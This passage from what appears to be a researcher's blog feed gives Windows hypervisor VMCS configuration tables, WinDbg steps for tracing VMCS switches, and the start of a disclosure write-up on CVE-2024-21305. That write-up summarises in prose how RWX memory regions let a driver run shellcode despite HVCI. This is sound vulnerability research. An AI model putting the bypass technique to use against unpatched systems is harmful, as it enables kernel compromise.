        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>12 Load IA32_PERF_GLOBAL_CTRL</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>15 Acknowledge interrupt on exit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>18 Save IA32_PAT</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>19 Load IA32_PAT 🔔</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>20 Save IA32_EFER</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>21 Load IA32_EFER</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>22 Save VMX-preemption timer value</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>23 Clear IA32_BNDCFGS</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>24 Conceal VMX from PT</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>25 Clear IA32_RTIT_CTL</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>26 Clear IA32_LBR_CTL</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>27 Clear UINV</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>28 Load CET state</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>29 Load PKRS</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>30 Save IA32_PERF_GLOBAL_CTL</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>31 Activate secondary controls</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="vm-entry-controls">VM-entry controls</h4>

<p>For the child partition, “Load IA32_PAT” is enabled.</p>

<details>

  <p>“1” means the feature is enabled.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>2 Load debug controls</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>9 IA-32e mode guest</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>10 Entry to SMM</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>11 Deactivate dualmonitor treatment</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>13 Load IA32_PERF_GLOBAL_CTRL</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>14 Load IA32_PAT 🔔</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>15 Load IA32_EFER</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>16 Load IA32_BNDCFGS</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>17 Conceal VMX from PT</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>18 Load IA32_RTIT_CTL</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>19 Load UINV</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>20 Load CET state</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>21 Load guest IA32_LBR_CTL</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>22 Load PKRS</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="encls-exiting-bitmap">ENCLS-exiting bitmap</h4>

<p>For the child partition, all <code class="language-plaintext highlighter-rouge">ENCLS</code> leaf functions are intercepted.</p>

<details>

  <p>“1” means the leaf function is intercepted.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ECREATE]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EADD]</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>ENCLS[EINIT]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EREMOVE]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EDBGRD]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EDBGWR]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EEXTEND]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ELDB]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ELDU]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EBLOCK]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EPA]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EWB]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ETRACK]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EAUG]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EMODPR]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[EMODT]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ERDINFO]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ETRACKC]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ELDBC]</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>ENCLS[ELDUC]</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="exception-bitmap">Exception bitmap</h4>

<p>There is no difference between the 3 configurations.</p>

<details>

  <p>“1” means the exception is intercepted.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Divide Error Exception</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>Debug Exception</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>NMI Interrupt</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Breakpoint Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Overflow Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>BOUND Range Exceeded Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Invalid Opcode Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Device Not Available Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Double Fault Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Coprocessor Segment Overrun</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Invalid TSS Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Segment Not Present</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Stack Fault Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>General Protection Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Page-Fault Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>x87 FPU Floating-Point Error</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Alignment Check Exception</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>Machine-Check Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>SIMD Floating-Point Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Virtualization Exception</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>Control Protection Exception</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="cr0-guesthost-mask">CR0 guest/host mask</h4>

<p>There is no difference between the 3 configurations.</p>

<details>

  <p>“1” means access to the bit position is intercepted and shadowed.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>0 Protection Enable</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>1 Monitor Coprocessor</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>2 Emulation</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>3 Task Switched</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>4 Extension Type</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>5 Numeric Error</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>16 Write Protect</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>18 Alignment Mask</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>29 Not Write-through</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>30 Cache Disable</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>31 Paging</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="cr4-guesthost-mask">CR4 guest/host mask</h4>

<p>For VTL 0, several bits are intercepted and shadowed.</p>

<details>

  <p>“1” means access to the bit position is intercepted and shadowed.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>0 Virtual-8086 Mode Extensions 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>1 Protected-Mode Virtual Interrupts 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>2 Time Stamp Disable 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>3 Debugging Extensions 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>4 Page Size Extensions</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>5 Physical Address Extension</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>6 Machine-Check Enable</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>7 Page Global Enable</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>8 Performance-Monitoring Counter Enable</td>
      </tr>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>9 Operating System Support for FXSAVE and FXRSTOR instructions 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>10 Operating System Support for Unmasked SIMD Floating-Point Exceptions 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>11 User-Mode Instruction Prevention</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>12 57-bit linear addresses</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>13 VMX-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>14 SMX-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>16 FSGSBASE-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>17 PCID-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>18 XSAVE and Processor Extended States-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>19 Key-Locker-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>20 SMEP-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>21 SMAP-Enable Bit</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>22 Enable protection keys for user-mode pages</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>23 Control-flow Enforcement Technology</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>24 Enable protection keys for supervisor-mode pages</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>25 User Interrupts Enable Bit</td>
      </tr>
    </tbody>
  </table>

</details>

<h2 id="call-for-actions">Call for actions</h2>

<p>Besides the open questions I made above, there are opportunities to find new vulnerabilities in the Windows hypervisor if you extend <a href="https://github.com/tandasat/hvext">hvext.js</a> for AMD platforms. I discovered <a href="https://github.com/tandasat/CVE-2023-36427">two</a> <a href="https://github.com/tandasat/CVE-2024-21305">vulnerabilities</a> specific to the Intel platforms while writing the tool, so I would not be surprised if similar issues exist on AMD platforms.</p>

<h2 id="reference-steps-to-get-them">Reference: steps to get them</h2>

<ol>
  <li>
    <p><a href="https://tandasat.github.io/blog/windows/2023/03/21/setting-up-kdnet-over-usb-eem-for-bootloader-and-hyper-v-debugging.html">Enable hypervisor debugging</a> and get hvext.js working.</p>
  </li>
  <li>
    <p>Reduce the number of logical processors to 1 and reboot. This makes VTL 0, 1 and guest transitions tremendously clearer.</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> &gt; bcdedit /set numproc 1
</code></pre></div>    </div>
  </li>
  <li>
    <p>To break on VMCS switching, we need to set breakpoints on the all <code class="language-plaintext highlighter-rouge">VMPTRLD</code> instructions in the hypervisor image. For this, get the range of hypervisor’s .text section first.</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> kd&gt; lm
 start             end                 module name
 fffff863`87673000 fffff863`87a75000   hv         (no symbols)

 kd&gt; !dh -s fffff863`87673000
 ...
 SECTION HEADER #9
   .text name
   19C0C4 virtual size
   200000 virtual address
   19D000 size of raw data
 ...
</code></pre></div>    </div>
  </li>
  <li>
    <p>Then, search the <code class="language-plaintext highlighter-rouge">VMPTRLD</code> instructions in the range with the <code class="language-plaintext highlighter-rouge">#</code> command.</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> kd&gt; # vmptrld fffff863`87673000+200000 L 19C0C4
 ...
</code></pre></div>    </div>
  </li>
  <li>
    <p>Finally, set a breakpoint for each discovered instruction.</p>

    <p>Note that there were 41 instances of the <code class="language-plaintext highlighter-rouge">VMPTRLD</code> instructions in the version I tested, and Windbg could set only up to 30 breakpoints. However, this was not a big issue as only 4 of them were used during the regular operation. To figure out which instructions are used, you can trace execution of them instead of breaking in each time with commands like this:</p>
    <details>

      <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ; Offsets are valid only for the version 10.0.22621.2861

 bp hv+0x20af68 ".echo ' 0'; dp rcx+188h l1; gc"
 bp hv+0x2123cf ".echo ' 1'; dp rcx+188h l1; gc"
 bp hv+0x216c2e ".echo ' 2'; dp rcx+188h l1; gc"
 bp hv+0x21a174 ".echo ' 3'; dp rcx+188h l1; gc"
 bp hv+0x22093b ".echo ' 4'; dp rcx+188h l1; gc"      ; used to switch VTL 0 and 1
 bp hv+0x22b377 ".echo ' 5'; dp rcx+188h l1; gc"
 bp hv+0x22c1ba ".echo ' 6'; dp rcx+188h l1; gc"
 bp hv+0x22c6f4 ".echo ' 7'; dp rcx+188h l1; gc"
 bp hv+0x22cd17 ".echo ' 8'; dp rcx+188h l1; gc"      ; used to switch guest and VTL 0
 bp hv+0x239401 ".echo ' 9'; dp rsp+30h l1; gc"
 bp hv+0x248112 ".echo '10'; dp rcx+188h l1; gc"
 bp hv+0x25589a ".echo '11'; dp rcx+188h l1; gc"
 bp hv+0x2559ae ".echo '12'; dp rcx+188h l1; gc"
 bp hv+0x33e1d3 ".echo '13'; dp rcx+188h l1; gc"
 bp hv+0x33e2f5 ".echo '14'; dp rcx+188h l1; gc"
 bp hv+0x33ead1 ".echo '15'; dp rcx+188h l1; gc"
 bp hv+0x340e8d ".echo '16'; dp r8+118h l1; gc"
 bp hv+0x340eed ".echo '17'; dp rsp+58h l1; gc"
 bp hv+0x3410e2 ".echo '18'; dp rcx+118h l1; gc"
 bp hv+0x341a6e ".echo '19'; dp rbp+48h l1; gc"
 bp hv+0x347146 ".echo '20'; dp rcx+29A20h l1; gc"    ; used only for the first launch
 bp hv+0x34960c ".echo '21'; dp rcx+188h l1; gc"
 bp hv+0x34971f ".echo '22'; dp rcx+188h l1; gc"
 bp hv+0x34985d ".echo '23'; dp rcx+188h l1; gc"
 bp hv+0x349acd ".echo '24'; dp r8+188h l1; gc"
 bp hv+0x349c95 ".echo '25'; dp rcx+188h l1; gc"
 bp hv+0x34b8b8 ".echo '26'; dp r8+118h l1; gc"
 bp hv+0x34b8f9 ".echo '27'; dp rsp+58h l1; gc"
 bp hv+0x34ba7f ".echo '28'; dp rcx+188h l1; gc"
 bp hv+0x34baed ".echo '29'; dp rsp+50h l1; gc"
 bp hv+0x34cf28 ".echo '30'; dp rcx+188h l1; gc"
 bp hv+0x34f3f4 ".echo '31'; dp rax+188h l1; gc"
 bp hv+0x34f4e4 ".echo '32'; dp rax+188h l1; gc"
 bp hv+0x34feae ".echo '33'; dp rcx+188h l1; gc"
 bp hv+0x352070 ".echo '34'; dp rcx+188h l1; gc"
 bp hv+0x352100 ".echo '35'; dp rcx+188h l1; gc"
 bp hv+0x3521d9 ".echo '36'; dp rcx+188h l1; gc"
 bp hv+0x352b9d ".echo '37'; dp rcx+188h l1; gc"
 bp hv+0x352bb0 ".echo '38'; dp rdx+0B0h l1; gc"
 bp hv+0x3541a5 ".echo '39'; dp rcx+188h l1; gc"      ; used only during start up
 bp hv+0x391b62 ".echo '40'; dp rcx+188h l1; gc"
</code></pre></div>      </div>
    </details>
  </li>
</ol>

<hr />

<p><em>Found this post interesting? We offer a training course about the Intel virtualization technology. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[This post aims to clarify security policies implemented by the Windows hypervisor for the root partition VTL 0 (NTOS), 1 (secure kernel), and a child partition (guest VM) by comparing their VMCSes on an Intel platform.]]></summary></entry><entry><title type="html">Hunting down the HVCI bug in UEFI</title><link href="/blog/2024/01/15/CVE-2024-21305.html" rel="alternate" type="text/html" title="Hunting down the HVCI bug in UEFI" /><published>2024-01-15T00:00:00+00:00</published><updated>2024-01-15T00:00:00+00:00</updated><id>/blog/2024/01/15/CVE-2024-21305</id><content type="html" xml:base="/blog/2024/01/15/CVE-2024-21305.html"><![CDATA[<ul>
  <li><a href="#discovery-to-reporting">Discovery to reporting</a>
    <ul>
      <li><a href="#discovery">Discovery</a></li>
      <li><a href="#exploitation">Exploitation</a></li>
      <li><a href="#partial-root-causing">Partial root causing</a></li>
      <li><a href="#reporting">Reporting</a></li>
    </ul>
  </li>
  <li><a href="#technical-details-and-fixes">Technical details and fixes</a>
    <ul>
      <li><a href="#intel-vt-x-and-its-limitation">Intel VT-x and its limitation</a></li>
      <li><a href="#intel-vt-d">Intel VT-d</a></li>
      <li><a href="#dma-remapping">DMA remapping</a></li>
      <li><a href="#dmar-acpi-table-and-rmrr-structure">DMAR ACPI table and RMRR structure</a></li>
      <li><a href="#interaction-with-windows-and-the-bug">Interaction with Windows, and the bug</a></li>
      <li><a href="#fixes">Fixes</a></li>
    </ul>
  </li>
  <li><a href="#summary">Summary</a></li>
</ul>

<hr />

<p><em>This post was coauthored with Andrea Allievi (<a href="https://twitter.com/aall86">@aall86</a>), a Windows Core OS engineer who analyzed and fixed the issue.</em></p>

<hr />

<p>This post details the story and technical details of the non-secure Hypervisor-Protected Code Integrity (HVCI) configuration vulnerability disclosed and fixed with the January 9th update on Windows. This vulnerability, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21305">CVE-2024-21305</a>, allowed arbitrary kernel-mode code execution, effectively bypassing HVCI within the root partition.</p>

<p>While analysis of the HVCI bypass bug alone can be interesting enough, I and Andrea found that the process of root causing and fixing it would also be fun to detail and decided to write this up together. The first half of this article was authored by me, and the second half was by Andrea. Readers can expect a great deal of Windows internals and x64 architecture details thanks to Andrea’s contribution!</p>

<h2 id="discovery-to-reporting">Discovery to reporting</h2>

<h3 id="discovery">Discovery</h3>

<p>The discovery of the bug was one of the by-products of <a href="https://github.com/tandasat/hvext">hvext.js</a>, the Windbg extension for studying the implementation of Hyper-V on Intel processors. With the extension, I dumped EPT on a few devices to better understand the implementation of HVCI, and one of them showed readable, writable, and kernel-mode executable (later referred to as RWX) guest physical addresses (GPAs). When HVCI is enabled, such GPAs should not exist as it would allow generation and execution of arbitrary code in kernel-mode. Eventually, out of 7 Intel devices I had, I found 3 devices with this issue, ranging from 6th to 10th generation processors.</p>

<h3 id="exploitation">Exploitation</h3>

<p>Exploiting this issue for a verification purpose was trivial as the RWX GPAs did not change across reboot or when test-signing was enabled. I wrote the driver that remapped a choice of linear address onto one of RWX GPAs and placed shellcode there, and was able to execute the shellcode as expected! If HVCI were working as intended, the PoC driver would have failed to write shellcode and caused a bug check. For more details on the PoC, see <a href="https://github.com/tandasat/CVE-2024-21305">the report on GitHub</a>.</p>

<p><img src="/blog/img/posts/2024-01-15/windbg.png" alt="" /></p>

<p>I asked Andrea about this and was told it could be a legit issue.</p>

<h3 id="partial-root-causing">Partial root causing</h3>

<p>I was curious why the issue was seen on only some devices and started to investigate what the RWX GPAs were.</p>

<p>Contents of those GPAs all seemed zero during runtime, and <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/rammap">RamMap</a> indicated it was outside NTOS-managed memory. I dumped memory during the Winload debug session, but they were still vastly zero. It was the same even during the UEFI shell phase.</p>

<p>At this point, I thought it might be UEFI-reserved regions. First, I realized that the RWX GPAs were parts of Reserved regions but did not exactly match, per the output of the <code class="language-plaintext highlighter-rouge">memmap</code> UEFI shell command. Shortly after, I discovered the regions exactly corresponded to the ranges reported by the Reserved Memory Region Reporting (RMRR) structure in the DMAR ACPI table.</p>

<p>I spent more time trying to understand why they were marked as RWX and why it occurred on only some machines. Eventually, I could not get the answers, but I was already reasonably satisfied with my findings and decided to hand this over to MSFT.</p>

<h3 id="reporting">Reporting</h3>

<p>I sent an initial write-up to Andrea, then, an updated one to MSRC a few days later. Though, it turned out that Andrea was the engineer in charge of this case. Such a small world.</p>

<p>Nothing much happened until mid-October when Andrea privately let me know he root caused and fixed it, and also offered to write up technical details from his perspective.</p>

<p>So the following is his write-up with a lot of technical details!</p>

<h2 id="technical-details-and-fixes">Technical details and fixes</h2>

<h3 id="intel-vt-x-and-its-limitation">Intel VT-x and its limitation</h3>

<p>So what is the DMAR table and why was important in this bug?</p>

<p>To understand it we should take a step back and briefly introduce one of the first improvements of the Intel Virtualization Extension (Intel VT-<strong>x</strong>). Indeed, Intel VT-x was introduced back around the year 2004 and, in its initial implementation, it misses some parts of the technology that are currently used in modern Operating Systems (in 2023). In particular:</p>

<ol>
  <li>The specifications did not include a hardware Stage-2 MMU able to perform the translation of the Guest physical addresses (GPAs) to System physical addresses (SPAs). First Hypervisors (like VmWare) were using a technique calling Memory Shadowing</li>
  <li>Similarly, the specification did not protect devices performing DMA to system memory addresses.</li>
</ol>

<p>As the reader can imagine, this was not compatible with the Security standard required nowadays, so multiple “addendums” were added at the first implementation. While in this article we are not talking about #1 (plenty of articles are available online, like <a href="https://cseweb.ucsd.edu/~yiying/cse291j-winter20/reading/Virtualize-Memory.pdf" title="Virtualize Memory">this one</a>), we will give a short introduction and description of the Intel VT-<strong>d</strong> technology, which aims at protecting Device data transfer initiated via DMA.</p>

<h3 id="intel-vt-d">Intel VT-d</h3>

<p>Intel maintains the VT-d technology specifications at the following URL: <a href="https://www.intel.com/content/www/us/en/content-details/774206/intel-virtualization-technology-for-directed-i-o-architecture-specification.html">https://www.intel.com/content/www/us/en/content-details/774206/intel-virtualization-technology-for-directed-i-o-architecture-specification.html</a></p>

<p>The document is updated quite often (at the time of this writing, we are at revision 4.1) and explains how an I/O memory management unit (IOMMU) can now protect devices to access memory that belongs to another VM or is reserved for the the host Hypervisor or OS.</p>

<p>A device can be exposed by the Hypervisor in different ways:</p>
<ul>
